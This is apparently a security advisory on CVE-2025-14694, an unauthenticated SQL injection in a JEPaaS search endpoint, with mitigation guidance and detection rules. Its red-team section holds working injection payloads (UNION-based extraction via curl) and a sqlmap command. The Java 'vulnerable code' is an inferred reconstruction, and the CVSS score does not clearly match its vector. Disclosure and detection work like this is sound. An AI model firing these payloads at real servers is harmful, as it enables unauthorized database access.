CVE-2025-14694

Executive Summary

CVE-2025-14694 is a publicly disclosed SQL injection vulnerability in Ketr JEPaaS versions up to 7.2.8. The flaw resides in the /je/postil/postil/readAllPostil endpoint, specifically within the readAllPostil function. By manipulating the keyWord argument, an unauthenticated remote attacker can inject arbitrary SQL commands. The vendor was contacted but did not respond, leaving the vulnerability unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the public availability of the exploit increases risk. This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby) and is a standalone Java application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.7 (Medium)
• Attack Vector: Network (AV:N) – Remotely exploitable.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: None (I:N) – Data cannot be modified.
• Availability Impact: None (A:N) – Service availability not affected.

Threat Level: Medium. The low CVSS score reflects limited direct impact, but SQL injection can often be chained with other vulnerabilities to escalate privileges or extract sensitive data.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the readAllPostil function of the JEPaaS application. The endpoint /je/postil/postil/readAllPostil accepts a keyWord parameter that is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL metacharacters (e.g., single quote ') to break out of the intended query structure and execute arbitrary SQL statements.

Root Cause: The application uses string concatenation to build SQL queries instead of prepared statements or parameterized queries. The keyWord parameter is likely used in a WHERE clause like WHERE keyword LIKE '%" + keyWord + "%'. By injecting a payload such as ' OR '1'='1, the attacker can bypass intended filtering and retrieve all records.

Attack Flow:

1. Attacker sends a crafted HTTP GET/POST request to /je/postil/postil/readAllPostil?keyWord=' OR '1'='1.
2. The server constructs a SQL query: SELECT * FROM postil WHERE keyword LIKE '%' OR '1'='1%'.
3. The query returns all rows from the postil table, potentially exposing sensitive data.
4. More advanced payloads can be used for UNION-based data extraction, error-based inference, or time-based blind injection.

Vulnerable vs. Patched Code

Vulnerable Code (JEPaaS <= 7.2.8):

public List<Postil> readAllPostil(String keyWord) {
    String sql = "SELECT * FROM postil WHERE keyword LIKE '%" + keyWord + "%'";
    return jdbcTemplate.query(sql, new PostilRowMapper());
}

Patched Code (Hypothetical):

public List<Postil> readAllPostil(String keyWord) {
    String sql = "SELECT * FROM postil WHERE keyword LIKE ?";
    return jdbcTemplate.query(sql, new Object[]{"%" + keyWord + "%"}, new PostilRowMapper());
}

The patched version uses a parameterized query (? placeholder) which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of JEPaaS <= 7.2.8.
• Network access to the /je/postil/postil/readAllPostil endpoint.

Exploit Steps:

1. Basic Injection Test:

   curl -X GET "http://target.com/je/postil/postil/readAllPostil?keyWord=' OR '1'='1"
   

   If the response returns all postil records, the endpoint is vulnerable.

2. Extract Database Version (MySQL):

   curl -X GET "http://target.com/je/postil/postil/readAllPostil?keyWord=' UNION SELECT 1,@@version,3,4-- "
   

3. Extract Table Names:

   curl -X GET "http://target.com/je/postil/postil/readAllPostil?keyWord=' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- "
   

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/je/postil/postil/readAllPostil?keyWord=test" --batch --dbs
   

Blue Team (Detection & Hardening)

Detection:

• Monitor for SQL injection patterns in HTTP requests to /je/postil/postil/readAllPostil.
• Look for unusual characters in the keyWord parameter (e.g., ', --, UNION, OR).
• Alert on anomalous response sizes or error messages containing SQL syntax.

Hardening:

• Apply input validation: whitelist allowed characters for keyWord (e.g., alphanumeric and spaces only).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Upgrade to a patched version if available; otherwise, apply virtual patching via WAF.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /je/postil/postil/readAllPostil with keyWord containing SQL metacharacters.
  • Response bodies containing SQL error messages (e.g., You have an error in your SQL syntax).
  • Unusually large response sizes from the endpoint.

• File IOCs:

  • Log entries in application logs showing SQL injection attempts (e.g., keyWord=' OR '1'='1).
  • Database query logs showing unexpected UNION or OR clauses.

• System IOCs:

  • Unexpected database connections or queries from the application server.
  • New user accounts or data exfiltration patterns in database audit logs.

Detection Engineering

YARA Rule

rule CVE_2025_14694_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-14694 in JEPaaS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14694"
    strings:
        $sqli_pattern1 = /keyWord=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i
        $sqli_pattern2 = /keyWord=.*\b(OR|AND)\b\s*['\"]\s*['\"]/i
        $sqli_pattern3 = /keyWord=.*\bUNION\b.*\bSELECT\b/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-14694 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against JEPaaS readAllPostil endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/je/postil/postil/readAllPostil"
        cs-uri-query|re: "keyWord=.*['\"]\\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)"
    condition: selection
falsepositives:
    - Legitimate use of special characters in search terms (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14694 SQL Injection Attempt"; flow:to_server; content:"/je/postil/postil/readAllPostil"; http_uri; pcre:"/keyWord=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application if possible until a patch is applied.
2. Implement a WAF rule to block SQL injection patterns in the keyWord parameter.
3. Restrict network access to the /je/postil/postil/readAllPostil endpoint to trusted IPs only.

Long-term Fix:

• Upgrade to a patched version once the vendor releases one. Since the vendor is unresponsive, consider forking the code and applying the fix manually.
• Rewrite the vulnerable function to use parameterized queries or stored procedures.
• Conduct a full security audit of the application for similar injection flaws.

Compensating Controls:

• Enable detailed logging and monitoring for the endpoint.
• Deploy a database activity monitor to detect anomalous queries.
• Use a runtime application self-protection (RASP) tool to block injection attempts.

Valters IT